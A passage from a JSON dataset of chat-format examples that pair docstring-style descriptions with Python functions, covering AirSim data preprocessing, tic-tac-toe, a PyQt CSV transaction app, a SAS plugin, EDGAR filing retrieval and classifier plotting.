the driving_log csv file and returns a list of 'center camera image name - label(s)' tuples\nInputs:\nfolders: list of folders to collect data from.", "conversation_id": 138, "message_id": 1 }, { "role": "assistant", "content": "def generateDataMapAirSim(folders):\n all_mappings = {}\n for folder in folders:\n print('Reading data from {0}...'.format(folder))\n current_df = pd.read_csv(os.path.join(folder, 'airsim_rec.txt'), sep='\\t')\n for i in range(1, current_df.shape[0] - 1, 1):\n previous_state = list(current_df.iloc[i-1][['Steering', 'Throttle', 'Brake', 'Speed (kmph)']])\n current_label = list((current_df.iloc[i][['Steering']] + current_df.iloc[i-1][['Steering']] + current_df.iloc[i+1][['Steering']]) / 3.0)\n image_filepath = os.path.join(os.path.join(folder, 'images'), current_df.iloc[i]['ImageName']).replace('\\\\', '/')\n if (image_filepath in all_mappings):\n print('Error: attempting to add image {0} twice.'.format(image_filepath))\n all_mappings[image_filepath] = (current_label, previous_state)\n mappings = [(key, all_mappings[key]) for key in all_mappings]\n random.shuffle(mappings)\n return mappings", "conversation_id": 138, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 139, "message_id": 0 }, { "role": "user", "content": "Primary function for data pre-processing. Reads and saves all data as h5 files.\nInputs:\nfolders: a list of all data folders\noutput_directory: location for saving h5 files\ntrain_eval_test_split: dataset split ratio.", "conversation_id": 139, "message_id": 1 }, { "role": "assistant", "content": "def cook(folders, output_directory, train_eval_test_split):\n output_files = [os.path.join(output_directory, f) for f in ['train.h5', 'eval.h5', 'test.h5']]\n if (any([os.path.isfile(f) for f in output_files])):\n print(\"Preprocessed data already exists at: {0}. Skipping preprocessing.\".format(output_directory))\n else:\n all_data_mappings = generateDataMapAirSim(folders)\n split_mappings = splitTrainValidationAndTestData(all_data_mappings, split_ratio=train_eval_test_split)\n for i in range(0, len(split_mappings), 1):\n print('Processing {0}...'.format(output_files[i]))\n saveH5pyData(split_mappings[i], output_files[i])\n print('Finished saving {0}.'.format(output_files[i]))", "conversation_id": 139, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 140, "message_id": 0 }, { "role": "user", "content": "creates a mask with class id values as pixel values\nfrom the color ground truth mask image..", "conversation_id": 140, "message_id": 1 }, { "role": "assistant", "content": "def convert(fname: str) -> None:\n img = cv2.imread(fname)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img_colors = np.unique(img.reshape(-1, img.shape[2]), axis=0)\n label_id_fname = fname.replace(\"_gtFine_color\", \"_gtFine_labelIds\")\n color_mask = np.zeros(img.shape, dtype=np.uint8)\n color_mask[np.where((img == [234, 30, 39]).all(axis=2))] = np.array([0])\n color_mask[np.where((img == [101, 190, 110]).all(axis=2))] = np.array([1])\n color_mask[np.where((img == [24, 92, 163]).all(axis=2))] = np.array([2])\n color_mask[np.where((img == [224, 212, 28]).all(axis=2))] = np.array([3])\n color_mask = color_mask[:, :, 0]\n cv2.imwrite(label_id_fname, color_mask)", "conversation_id": 140, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 141, "message_id": 0 }, { "role": "user", "content": "Take in a player input and assign their marker as 'X'\nor 'O'. Think about using while loops to continually\nask until you get a correct answer..", "conversation_id": 141, "message_id": 1 }, { "role": "assistant", "content": "def player_input():\n player1 = input(\"\\nPlayer 1 - Please pick a marker 'X' or 'O': \").upper()\n val = validate(player1)\n if val[0]:\n player2 = val[1]\n else:\n return False\n out = {'p1': [player1], 'p2': [player2]}\n global chance\n first = choose_first()\n if first == 0:\n print('Player 1 goes first', end='')\n out['p1'].append(0)\n out['p2'].append(1)\n chance = player1\n else:\n print('Player 2 goes first', end='')\n out['p1'].append(1)\n out['p2'].append(0)\n chance = player2\n return out", "conversation_id": 141, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 142, "message_id": 0 }, { "role": "user", "content": "Uses the random module to randomly decide which player\ngoes first. Lookup random.randint() Return a string of\nwhich player went first..", "conversation_id": 142, "message_id": 1 }, { "role": "assistant", "content": "def choose_first():\n return random.randint(0, 1)", "conversation_id": 142, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 143, "message_id": 0 }, { "role": "user", "content": "Returns a boolean indicating whether a space on the board\nis freely available..", "conversation_id": 143, "message_id": 1 }, { "role": "assistant", "content": "def space_check(board, position):\n return board[position] == ''", "conversation_id": 143, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 144, "message_id": 0 }, { "role": "user", "content": "Checks if the board is full and returns a boolean value.\nTrue if full, False otherwise..", "conversation_id": 144, "message_id": 1 }, { "role": "assistant", "content": "def full_board_check(board):\n return not '' in board", "conversation_id": 144, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 145, "message_id": 0 }, { "role": "user", "content": "Takes in a board and a mark (X or O) and then checks to\nsee if that mark has won..", "conversation_id": 145, "message_id": 1 }, { "role": "assistant", "content": "def win_check(board, mark):\n possibilities = [\n board[0:3], \n board[3:6], \n board[6:9],\n board[0:7:3],\n board[1:8:3],\n board[2:9:3],\n board[0:9:4],\n board[2:8:2]]\n return [mark] * 3 in possibilities", "conversation_id": 145, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 146, "message_id": 0 }, { "role": "user", "content": "Asks the player if they want to play again and returns a\nboolean True if they do want to play again..", "conversation_id": 146, "message_id": 1 }, { "role": "assistant", "content": "def replay():\n while True:\n confirm = input('Do you want to replay ([Y]es/[N]o)? ')\n if confirm[0].lower() == 'y':\n return True\n elif confirm[0].lower() == 'n':\n return False\n else:\n print('Input not recognized, ', end='')\n continue", "conversation_id": 146, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 147, "message_id": 0 }, { "role": "user", "content": "Information about the function.\nINPUT: No input\nOUTPUT: Hello.", "conversation_id": 147, "message_id": 1 }, { "role": "assistant", "content": "def name_function():\n print('Hello')", "conversation_id": 147, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 148, "message_id": 0 }, { "role": "user", "content": "Saves the data in the model to a the current file.", "conversation_id": 148, "message_id": 1 }, { "role": "assistant", "content": "def save_data(self):\n with open(self.filename,'w',encoding='utf-8') as fh:\n writer = csv.writer(fh)\n writer.writerow(self._headers)\n writer.writerows(self._data)", "conversation_id": 148, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 149, "message_id": 0 }, { "role": "user", "content": "opens a window to add transactions.", "conversation_id": 149, "message_id": 1 }, { "role": "assistant", "content": "def add_transaction(self):\n self.formwindow = FormWindow()\n self.formwindow.submitted.connect(self.foo)\n self.formwindow.show()", "conversation_id": 149, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 150, "message_id": 0 }, { "role": "user", "content": "opens the csv file and connect the model with view\nedit needed.", "conversation_id": 150, "message_id": 1 }, { "role": "assistant", "content": "def open_csv(self):\n if True:\n table = TableWindow()\n filename = 'test.csv'\n self.model = CsvTableModel(filename)\n self.tableview.setModel(self.model)\n self.row_above_btn.setEnabled(True)\n self.row_below_btn.setEnabled(True)\n self.row_remove_btn.setEnabled(True)\n self.save_btn.setEnabled(True)", "conversation_id": 150, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 151, "message_id": 0 }, { "role": "user", "content": "Insert a ROW above a selected ROW.", "conversation_id": 151, "message_id": 1 }, { "role": "assistant", "content": "def row_above(self):\n selected = self.tableview.selectedIndexes()\n row = selected[0].row() if selected else 0\n self.model.insertRows(row,1,None)", "conversation_id": 151, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 152, "message_id": 0 }, { "role": "user", "content": "Insert a ROW below a selected ROW.", "conversation_id": 152, "message_id": 1 }, { "role": "assistant", "content": "def row_below(self,somedata):\n selected = self.tableview.selectedIndexes()\n row = selected[-1].row() if selected else self.model.rowCount(None)\n self.model.insertRows(row+1,1,None,somedata)", "conversation_id": 152, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 153, "message_id": 0 }, { "role": "user", "content": "calling the save_data function in the CsvTableModel Class.", "conversation_id": 153, "message_id": 1 }, { "role": "assistant", "content": "def save_file(self):\n if self.model:\n self.model.save_data()", "conversation_id": 153, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 154, "message_id": 0 }, { "role": "user", "content": "Method will Emit a signal \"submitted\" to the mainwindow.\nThis data is used for the \"TableView\" model.", "conversation_id": 154, "message_id": 1 }, { "role": "assistant", "content": "def onsubmit(self):\n date = (self.date_widget.date().toString('yyyy-MM-dd'))\n self.submitted.emit(self.transaction_type.currentText(),\n date,\n self.seller_name.text(),\n self.product.currentText(),\n self.amount.text(),\n self.ppkg.text(),\n self.total_price.text()\n )\n self.close()", "conversation_id": 154, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 155, "message_id": 0 }, { "role": "user", "content": "Adds the \"item\" to the end of the list.", "conversation_id": 155, "message_id": 1 }, { "role": "assistant", "content": "def add_data(self,item_name):\n self._data.append(item_name)", "conversation_id": 155, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 156, "message_id": 0 }, { "role": "user", "content": "Removes the \"item\" from the list.", "conversation_id": 156, "message_id": 1 }, { "role": "assistant", "content": "def remove_data(self,item_name):\n self._data.remove(item_name)", "conversation_id": 156, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 157, "message_id": 0 }, { "role": "user", "content": "Saves the item names in the model to the file.", "conversation_id": 157, "message_id": 1 }, { "role": "assistant", "content": "def save_data(self):\n with open(self.filename,'w',encoding='utf-8') as fh:\n writer = csv.writer(fh)\n writer.writerow(self._headers)\n writer.writerow(self._data)", "conversation_id": 157, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 158, "message_id": 0 }, { "role": "user", "content": "Updates the data in the graph when the filter is applied..", "conversation_id": 158, "message_id": 1 }, { "role": "assistant", "content": "def update_data(self):\n self.series.clear()\n self.pieseries.clear()\n todate = (self.to_date.date().toString('yyyy-MM-dd'))\n fromdate = (self.from_date.date().toString('yyyy-MM-dd'))\n self.df = pd.read_csv('test.csv')\n self.days = pd.date_range(start= todate,end=fromdate)\n x = [i for i in self.df['Date'] if i in self.days]\n self.temp_list = sorted(list(set(x)))\n income = [sum(self.df.loc[(self.df['Date'] == i) & (self.df['Transaction Type'] == 'Sell'),'Total Price']) for i in self.temp_list] \n expense = [sum(self.df.loc[(self.df['Date'] == i) & (self.df['Transaction Type'] == 'Buy' ),'Total Price']) for i in self.temp_list]\n piecount = len(self.c._data)\n item_list = self.c._data\n for i in range(piecount):\n item_name = item_list[i]\n item_sold = [sum(self.df.loc[(self.df['Date'] == i ) & (self.df['Transaction Type'] == 'Buy') & (self.df[' Product ']== item_name),\n ' Amount (kg) ']) for i in self.temp_list]\n slice_ = qtch.QPieSlice(item_list[i],sum(item_sold))\n self.pieseries.append(slice_)\n categories = self.temp_list \n Income = qtch.QBarSet(\"Income\") \n Expense = qtch.QBarSet(\"Expense\") \n Income.append(income) \n Expense.append(expense)\n self.series.append(Income) \n self.series.append(Expense) \n self.axis.append(categories)", "conversation_id": 158, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 159, "message_id": 0 }, { "role": "user", "content": "User can enter items with the help of a dialog box\nitem_name stores the value entered in the dialogbox and returns (\"enter item\",bool state).", "conversation_id": 159, "message_id": 1 }, { "role": "assistant", "content": "def add_item(self):\n item_name = qtw.QInputDialog.getText(self,\"Add Item\",\n \"Enter Item\",\n qtw.QLineEdit.Normal)\n if item_name[0] == \"\":\n qtw.QMessageBox.critical(self,\"Error\",\"Item cannot be an empty word\")\n elif item_name[0] in self.c._data:\n qtw.QMessageBox.critical(self,\"Error\",\"Item is already added\")\n else:\n self.c.add_data(item_name[0])\n self.c.save_data()", "conversation_id": 159, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 160, "message_id": 0 }, { "role": "user", "content": "Read all sas '.csv' files and return results in a dictionary\nReturns\n\nResults from sas .csv files.", "conversation_id": 160, "message_id": 1 }, { "role": "assistant", "content": "def _get_sas_csv_data(self) -> dict:\n csv_files = glob.glob(\"*.csv\") \n csv_data = {}\n for file in csv_files:\n if os.path.getsize(file) > 0: \n csv_file_df = pd.read_csv(file)\n for column_name in csv_file_df.columns:\n csv_data[column_name] = np.array(csv_file_df[column_name])\n return csv_data", "conversation_id": 160, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 161, "message_id": 0 }, { "role": "user", "content": "Generate the SAS input based on the template\nParameters\n\nparams\nParameters used when rendering template.", "conversation_id": 161, "message_id": 1 }, { "role": "assistant", "content": "def prerun(self, params: Parameters):\n params_copy = params.convert_units()\n print(\"Pre-run for SAS Plugin\")\n self._run_time = time.time_ns()\n super().prerun(params_copy, filename=self.sas_inp_name)", "conversation_id": 161, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 162, "message_id": 0 }, { "role": "user", "content": "Read SAS results and create results object\nParameters\n\nparams\nParameters used to create SAS model\n\nReturnss\n\nSAS results object.", "conversation_id": 162, "message_id": 1 }, { "role": "assistant", "content": "def postrun(self, params: Parameters) -> ResultsSAS:\n print(\"Post-run for SAS Plugin\")\n if Path(\"CHANNEL.dat\").is_file():\n with open(\"CHANNEL.dat\", \"r\") as file_in, open(\"CHANNEL.csv\", \"w\") as file_out:\n subprocess.run(str(self.conv_channel), stdin=file_in, stdout=file_out)\n if Path(\"PRIMAR4.dat\").is_file():\n with open(\"PRIMAR4.dat\", \"r\") as file_in, open(\"PRIMAR4.csv\", \"w\") as file_out:\n subprocess.run(str(self.conv_primar4), stdin=file_in, stdout=file_out)\n time = datetime.fromtimestamp(self._run_time * 1e-9)\n inputs = [p.name for p in self.extra_inputs]\n inputs.append('SAS.inp')\n outputs = [p for p in Path.cwd().iterdir() if p.name not in inputs]\n return ResultsSAS(params, time, inputs, outputs)", "conversation_id": 162, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 163, "message_id": 0 }, { "role": "user", "content": "Save parameters to a pickle file\nParameters\n\nfilename_or_obj\nPath to open file or file object write to.", "conversation_id": 163, "message_id": 1 }, { "role": "assistant", "content": "def save(self, filename_or_obj: Union[str, BinaryIO]):\n if isinstance(filename_or_obj, str):\n with open(filename_or_obj, 'wb') as file_obj:\n self._save_mapping(file_obj)\n else:\n self._save_mapping(filename_or_obj)", "conversation_id": 163, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 164, "message_id": 0 }, { "role": "user", "content": "Load parameters from a pickle file\nParameters\n\nfilename_or_obj\nPath to pickle file or file object to read from.", "conversation_id": 164, "message_id": 1 }, { "role": "assistant", "content": "def load(self, filename_or_obj: Union[str, BinaryIO]):\n if isinstance(filename_or_obj, str):\n with open(filename_or_obj, 'rb') as fh:\n self._load_mapping(fh)\n else:\n self._load_mapping(filename_or_obj)", "conversation_id": 164, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 165, "message_id": 0 }, { "role": "user", "content": "Return parameters from a pickle file\nParameters\n\nfilename_or_obj\nPath to pickle file or file object to read from.", "conversation_id": 165, "message_id": 1 }, { "role": "assistant", "content": "def from_pickle(cls, filename_or_obj: Union[str, BinaryIO]) -> Parameters:\n params = cls()\n params.load(filename_or_obj)\n return params", "conversation_id": 165, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 166, "message_id": 0 }, { "role": "user", "content": "Feedforward behavior of the net..", "conversation_id": 166, "message_id": 1 }, { "role": "assistant", "content": "def forward(self, x):\n x = x.view(x.shape[0], -1)\n x = F.relu(self.fc1(x))\n x = F.log_softmax(self.fc2(x), dim=1)\n return x", "conversation_id": 166, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 167, "message_id": 0 }, { "role": "user", "content": "Print a table of DIF status information to STDOUT..", "conversation_id": 167, "message_id": 1 }, { "role": "assistant", "content": "def print_status_table(dif_statuses: List[DIFStatus],\n table_format: str) -> None:\n rows = []\n headers = [\n \"IP\", \"DIF Updated\", \"HW Updated\", \"DIF Contributor*\",\n \"HW Contributor*\", \"Functions\\nDefined\", \"Functions\\nImplemented\",\n \"Stage\"\n ]\n for dif_status in dif_statuses:\n hw_last_modified = dif_status.hw_last_modified[:10]\n dif_last_modified = dif_status.dif_last_modified[:10]\n if dif_status.hw_last_modified > dif_status.dif_last_modified:\n hw_last_modified = colored(hw_last_modified, \"yellow\")\n dif_last_modified = colored(dif_last_modified, \"yellow\")\n if dif_status.api_complete:\n num_funcs_defined = colored(dif_status.num_functions_defined,\n \"green\")\n num_funcs_implemented = colored(\n dif_status.num_functions_implemented, \"green\")\n else:\n num_funcs_defined = colored(dif_status.num_functions_defined,\n \"red\")\n num_funcs_implemented = colored(\n dif_status.num_functions_implemented, \"red\")\n rows.append([\n dif_status.ip, dif_last_modified, hw_last_modified,\n \"\\n\".join(dif_status.dif_main_contributors),\n \"\\n\".join(dif_status.hw_main_contributors), num_funcs_defined,\n num_funcs_implemented, dif_status.lifecycle_state\n ])\n print(\"DIF Statuses:\")\n print(tabulate(rows, headers, tablefmt=table_format))\n print(\"\"\"*Only the top two contributors (by LOC) \"\"\"\n \"\"\"for each component are listed.\"\"\")\n print(colored(\"Yellow\", \"yellow\"),\n \"\\t= HW has been updated since the DIF.\")\n print(\n colored(\"Green\", \"green\"),\n \"\"\"\\t= DIF API, as defined in the current header file, is complete. \"\"\"\n \"\"\"Note, the header file may lack necessary API functionality.\"\"\")\n print(colored(\"Red\", \"red\"),\n (\"\\t= DIF API is incomplete, as defined in the header file or the \"\n \"work has not yet begun.\"))", "conversation_id": 167, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 168, "message_id": 0 }, { "role": "user", "content": "Print a table of specific functions names DIF functions to STDOUT..", "conversation_id": 168, "message_id": 1 }, { "role": "assistant", "content": "def print_function_set(dif_statuses: List[DIFStatus],\n dif_function_type: _DIFFunctionType,\n table_format: str) -> None:\n if dif_function_type == _DIFFunctionType.ALERT:\n print(\"Alert Functions:\")\n elif dif_function_type == _DIFFunctionType.IRQ:\n print(\"IRQ Functions:\")\n elif dif_function_type == _DIFFunctionType.UNIMPLEMENTED:\n print(\"Unimplemented Functions:\")\n else:\n logging.error(\"Invalid function type to print table.\")\n sys.exit(1)\n rows = []\n headers = [\"IP\", \"Function\"]\n for dif_status in dif_statuses:\n if dif_function_type == _DIFFunctionType.ALERT:\n if dif_status.alert_funcs:\n rows.append([dif_status.ip, \"\\n\".join(dif_status.alert_funcs)])\n elif dif_function_type == _DIFFunctionType.IRQ:\n if dif_status.irq_funcs:\n rows.append([dif_status.ip, \"\\n\".join(dif_status.irq_funcs)])\n elif dif_function_type == _DIFFunctionType.UNIMPLEMENTED:\n if not dif_status.api_complete:\n rows.append(\n [dif_status.ip, \"\\n\".join(dif_status.funcs_unimplemented)])\n else:\n logging.error(\"Invalid function type to print table.\")\n sys.exit(1)\n print(tabulate(rows, headers, tablefmt=table_format))", "conversation_id": 168, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 169, "message_id": 0 }, { "role": "user", "content": "Get all urls for specific company according to CIK that match\nstart date, end date, filing_type, and count parameters..", "conversation_id": 169, "message_id": 1 }, { "role": "assistant", "content": "def _get_urls_for_cik(self, cik, **kwargs):\n self.params['CIK'] = cik\n links = []\n self.params[\"start\"] = 0 \n while len(links) < self._client.count:\n data = self._client.get_soup(self.path, self.params, **kwargs)\n links.extend([link.string for link in data.find_all(\"filinghref\")])\n self.params[\"start\"] += self._client.count\n if len(data.find_all(\"filinghref\")) == 0:\n break \n txt_urls = [link[:link.rfind(\"-\")] + \".txt\" for link in links]\n return txt_urls[:self.client.count]", "conversation_id": 169, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 170, "message_id": 0 }, { "role": "user", "content": "Save files in specified directory..", "conversation_id": 170, "message_id": 1 }, { "role": "assistant", "content": "def save(self, directory):\n urls = self.get_urls()\n if len(urls) == 0:\n raise ValueError(\"No filings available.\")\n doc_names = [url.split(\"/\")[-1] for url in urls]\n for (url, doc_name) in list(zip(urls, doc_names)):\n cik = doc_name.split('-')[0]\n data = requests.get(url).text\n path = os.path.join(directory, cik, self.filing_type.value)\n make_path(path)\n path = os.path.join(path, doc_name)\n with open(path, \"w\") as f:\n f.write(data)", "conversation_id": 170, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 171, "message_id": 0 }, { "role": "user", "content": "Sanitizes date to be in acceptable format for EDGAR..", "conversation_id": 171, "message_id": 1 }, { "role": "assistant", "content": "def sanitize_date(date):\n if isinstance(date, datetime.datetime):\n return date.strftime(\"%Y%m%d\")\n elif isinstance(date, str):\n if len(date) != 8:\n raise TypeError('Date must be of the form YYYYMMDD')\n elif isinstance(date, int):\n if date < 10 ** 7 or date > 10 ** 8:\n raise TypeError('Date must be of the form YYYYMMDD')\n return date", "conversation_id": 171, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 172, "message_id": 0 }, { "role": "user", "content": "Make directory based on filing info..", "conversation_id": 172, "message_id": 1 }, { "role": "assistant", "content": "def make_path(path, **kwargs):\n if not os.path.exists(path):\n try:\n os.makedirs(path, **kwargs)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise OSError", "conversation_id": 172, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 173, "message_id": 0 }, { "role": "user", "content": "Ensures response from EDGAR is valid..", "conversation_id": 173, "message_id": 1 }, { "role": "assistant", "content": "def _validate_response(response):\n error_messages = (\"The value you submitted is not valid\",\n \"No matching Ticker Symbol.\",\n \"No matching CIK.\",\n \"No matching companies.\")\n if response is None:\n raise EDGARQueryError(\"No response.\")\n status_code = response.status_code\n if 400 <= status_code < 500:\n if status_code == 400:\n raise EDGARQueryError(\"The query could not be completed. \"\n \"The page does not exist.\")\n else:\n raise EDGARQueryError(\"The query could not be completed. \"\n \"There was a client-side error with your \"\n \"request.\")\n elif 500 <= status_code < 600:\n raise EDGARQueryError(\"The query could not be completed. \"\n \"There was a server-side error with \"\n \"your request.\")\n elif any(error_message in response.text for error_message in error_messages):\n raise EDGARQueryError()", "conversation_id": 173, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 174, "message_id": 0 }, { "role": "user", "content": "Get cik for lookup value..", "conversation_id": 174, "message_id": 1 }, { "role": "assistant", "content": "def _get_cik(self, lookup):\n self._validate_lookup(lookup)\n try: \n self._params['CIK'] = lookup\n soup = self._client.get_soup(self.path, self.params)\n except EDGARQueryError: \n del self._params['CIK'] \n self._params['company'] = lookup\n soup = self._client.get_soup(self.path, self.params)\n try: \n span = soup.find('span', {'class': 'companyName'})\n return span.find('a').getText().split()[0] \n except AttributeError: \n warnings.warn(\"Lookup '{0}' will be skipped. \"\n \"Found multiple companies matching '{0}':\".format(lookup))\n warnings.warn('\\n'.join(self._get_cik_possibilities(soup)))\n finally:\n if self._params.get('company') is not None:\n del self._params['company']\n if self._params.get('CIK') is not None:\n del self._params['CIK']", "conversation_id": 174, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 175, "message_id": 0 }, { "role": "user", "content": "Ensure that lookup is string..", "conversation_id": 175, "message_id": 1 }, { "role": "assistant", "content": "def _validate_lookup(lookup):\n if not isinstance(lookup, str):\n raise TypeError(\"Lookup value must be string. Given type {0}.\".format(type(lookup)))", "conversation_id": 175, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 176, "message_id": 0 }, { "role": "user", "content": "Publish PR comment with link to build logs..", "conversation_id": 176, "message_id": 1 }, { "role": "assistant", "content": "def publish_pr_comment(self, build):\n pr_comment = PR_COMMENT_TEMPLATE.format(\n project_name=config.PROJECT_NAME,\n commit_id=build.commit_id,\n build_status=build.status,\n logs_url=build.get_logs_url(),\n )\n repo = self._get_repo()\n LOG.debug('Publishing PR Comment: repo=%s/%s, pr_id=%s, comment=%s',\n self._github_owner, self._github_repo, build.get_pr_id(), pr_comment)\n repo.get_pull(build.get_pr_id()).create_issue_comment(pr_comment)", "conversation_id": 176, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 177, "message_id": 0 }, { "role": "user", "content": "plot 3 histogram of data projecting to difference vector w.", "conversation_id": 177, "message_id": 1 }, { "role": "assistant", "content": "def exec_c3_1_a(X_a, X_b, init_w):\n n_histogram = 3\n proj_a = np.zeros((X_a.shape[0], n_histogram))\n proj_b = np.zeros((X_b.shape[0], n_histogram))\n new_w = np.zeros((init_w.shape[0], n_histogram))\n for i in range(n_histogram):\n new_w[:, i] = (init_w + np.array(np.random.randn(*init_w.shape))).ravel()\n proj_a[:, i] = utils.project_X_onto_w(X_a, new_w[:, i]).ravel()\n proj_b[:, i] = utils.project_X_onto_w(X_b, new_w[:, i]).ravel()\n plot_data.plt_histogram(proj_a, proj_b, new_w)", "conversation_id": 177, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 178, "message_id": 0 }, { "role": "user", "content": "plot probability contours and the optimal projection line.", "conversation_id": 178, "message_id": 1 }, { "role": "assistant", "content": "def plot_prob_contours(Gaus_dist_a, Gaus_dist_b, with_unbalance=False):\n assert(isinstance(Gaus_dist_a, model.GausDS) and isinstance(Gaus_dist_b, model.GausDS))\n X_a, X_b = Gaus_dist_a.data, Gaus_dist_b.data\n n_a = len(X_a)\n n_b = len(X_b)\n l_s_scalar_min = -9\n l_s_scalar_max = 9\n ls_x1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)\n ls_x2 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)\n mg_x1, mg_x2 = np.meshgrid(ls_x1, ls_x2)\n pdf_a = Gaus_dist_a.Gaussian_pdf(mg_x1, mg_x2, 100)\n pdf_b = Gaus_dist_b.Gaussian_pdf(mg_x1, mg_x2, 100)\n pdf_a = pdf_a * n_a/(n_a+n_b)\n pdf_b = pdf_b * n_b/(n_a+n_b)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.axis('equal') \n ax.set_title(\"2 Class Classification\")\n ax.scatter(X_a[:, 0], X_a[:, 1], marker='.', c='r', label='class a')\n ax.scatter(X_b[:, 0], X_b[:, 1], marker='+', c='b', label='class b')\n ax.contour(mg_x1, mg_x2, pdf_a, 10)\n ax.contour(mg_x1, mg_x2, pdf_b, 10)\n log_odds = np.log(pdf_a) - np.log(pdf_b)\n list_border = []\n for i in range(99):\n for j in range(99):\n if (log_odds[i][j]*log_odds[i][j+1] < 0) or (log_odds[i][j]*log_odds[i+1][j] < 0) \\\n or log_odds[i][j] == 0:\n list_border.append([i, j])\n bd = np.array(list_border)\n X1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)\n Y1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)\n ax.scatter(X1[bd[:, 0]], Y1[bd[:, 1]], marker='.', s=15, color='brown', label='decision border')\n init_w = np.array([1, -2]).reshape(-1, 1)\n fs_clf = model.FisherScoreClassifier(X_a, X_b, init_w)\n w_star = fs_clf.classify(plot=False)\n w_star = np.array(w_star)\n xielv = w_star[1]/w_star[0]\n x_point = np.linspace(-5, 3, 100)\n y_point = x_point * xielv - 4\n plt.plot(x_point, y_point, c='g', label='optimal w')\n if with_unbalance:\n w_star = fs_clf.classify(balanced=False, plot=False)\n w_star = np.array(w_star)\n xielv = w_star[1]/w_star[0]\n x_point = np.linspace(-5, 3, 100)\n y_point = x_point * xielv - 4\n plt.plot(x_point, y_point, c='purple', label='unbalanced F(w)')\n leg = ax.legend(loc='upper right', fancybox=True, fontsize=8)\n leg.get_frame().set_alpha(0.5)\n plt.show()", "conversation_id": 178, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 179, "message_id": 0 }, { "role": "user", "content": "project a list of vectors X onto a vector w.", 